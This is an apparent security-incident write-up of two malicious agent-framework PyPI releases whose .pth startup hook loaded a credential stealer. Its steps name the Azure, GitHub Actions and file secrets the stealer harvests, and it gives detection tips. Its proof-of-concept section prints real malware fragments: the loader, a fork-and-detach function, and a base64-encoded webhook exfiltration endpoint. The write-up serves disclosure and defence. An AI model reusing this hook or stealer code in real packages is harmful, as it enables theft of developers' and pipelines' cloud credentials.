# Two malicious agent-framework releases hit PyPI in 33 minutes

Malicious agent-framework 1.26.1/1.26.2 PyPI wheels used a .pth startup hook to steal Azure, Azure DevOps and GitHub Actions credentials on every Python start.

- Payout: Real-world hack
- Severity: critical
- Program: Microsoft
- Analysis by: Aikido Security
- Disclosed: 2026-11-17
- Write-up quality: 8/10
- Original: https://www.aikido.dev/blog/two-malicious-agent-framework-releases-hit-pypi-in-33-minutes
- Library page: https://bugbountylibrary.com/r/blog%3Aaikido-dev-blog-two-malicious-agent-framework-releases-hit-pypi-in-33-minutes
- Tags: area:oss domain:infra domain:oss impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:azure tech:ci-cd tech:github-actions tech:python vuln:secrets-leak

**Target:** PyPI package (agent-framework meta-package wheel) and Python site-packages startup
**Root cause:** Attacker with publishing access to the PyPI project uploaded hand-repacked wheels (wheel-only, no sdist, no trusted-publishing provenance) containing a .pth file whose `import` line executes on every interpreter start, loading a credential stealer.
**Steps:**
1. Install agent-framework 1.26.1 or 1.26.2 (e.g. via loose `agent-framework>=1.26`).
2. Wheel drops `agent_framework_meta.pth` (1.26.1) or `af_runtime_diag.pth` (1.26.2) into site-packages root.
3. On any Python start, site module executes the `.pth` line `import agent_framework_meta` / `import af_runtime_diag`.
4. Loader calls `_start()`, sets `_AF_TEL=1`, forks and `os.setsid()` to detach (daemon thread on Windows).
5. Collector sweeps env vars matching TOKEN/SECRET/KEY/AZURE/GITHUB/etc., reads up to 300 `/proc/<pid>/environ`, and up to 60-80 credential files (~/.azure, .npmrc, pip.conf, .netrc, .git-credentials, Docker config, HF tokens, ADO .credentials, /app and /workspace .env).
6. Requests Azure DevOps OIDC via `SYSTEM_OIDCREQUESTURI` with `SYSTEM_ACCESSTOKEN`; requests managed-identity tokens from IMDS/IDENTITY_ENDPOINT for 12 Azure resources; 1.26.2 requests GitHub Actions OIDC via `ACTIONS_ID_TOKEN_REQUEST_URL`/`ACTIONS_ID_TOKEN_REQUEST_TOKEN` for `api://AzureADTokenExchange` and `https://management.azure.com/`.
7. JSON+zlib+base64 POST to base64-encoded `https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry` with User-Agent `af-runtime-diagnostics/1` (1.26.1) or `runtime-diagnostics/1` (1.26.2).
**How found:** Researchers diffed the 1.26.1 wheel against 1.26.0, spotting two new files and an edited __init__.py, world-writable injected files, a stale WHEEL timestamp, wheel-only publication, and a new maintainer account created the same day.
**Exploitation:** Attacker obtained publishing access (maintainer account `vibiret` created same day, uploads via RestSharp, wheel-only, no trusted-publishing provenance) and uploaded trojanized wheels. Any install during the ~45-minute window caused every subsequent Python invocation in that environment to fork a detached stealer that harvested env vars, other processes' environ, credential files, and freshly minted Azure/ADO/GitHub OIDC and managed-identity tokens, exfiltrating them in one compressed POST to a free webhook.site endpoint. Stolen OIDC tokens could be exchanged with Entra ID for Azure access as the pipeline's service principal.
**Escalation:** 1.26.2 was published 33 minutes after 1.26.1 was quarantined, relocating the payload to a top-level module and adding GitHub Actions OIDC theft plus wider env/file matching, defeating filename/hash-based detection.
**Insight:** Diff every wheel against the prior release and check packaging metadata: wheel-only uploads, missing sdist, stale WHEEL timestamps, world-writable files, and same-day maintainer accounts are strong tampering signals. Also grep site-packages for `.pth` files containing `import` lines, since they fire on every interpreter start regardless of imports.

## Proof of concept (copied exactly from the original report)

**Malicious .pth startup hook importing package**

```
import agent_framework_meta
That import resolves to agent_framework_meta/__init__.py, where the attacker appended a loader below the legitimate version lookup and wrapped it so it can never raise:

# Lightweight runtime diagnostics hook.
try:
 from . import _telemetry as _telemetry
 _telemetry._start()
except Exception:
 pass
```

**Fork/detach stealer start function**

```
def _start():
 if os.environ.get("_AF_TEL"):
 return
 os.environ["_AF_TEL"] = "1"
 try:
 if hasattr(os, "fork"):
 pid = os.fork()
 if pid == 0:
 try:
 os.setsid()
 except Exception:
 pass
 _run()
 os._exit(0)
 return
 except Exception:
 pass
 try:
 import threading
 t = threading.Thread(target=_run)
 t.daemon = True
 t.start()
 except Exception:
 pass
```

**Base64-encoded webhook exfil endpoint**

```
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
# decodes to https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb

def _post(tag, data):
 try:
 import urllib.request
 u = base64.b64decode(_ENC).decode()
 body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
```

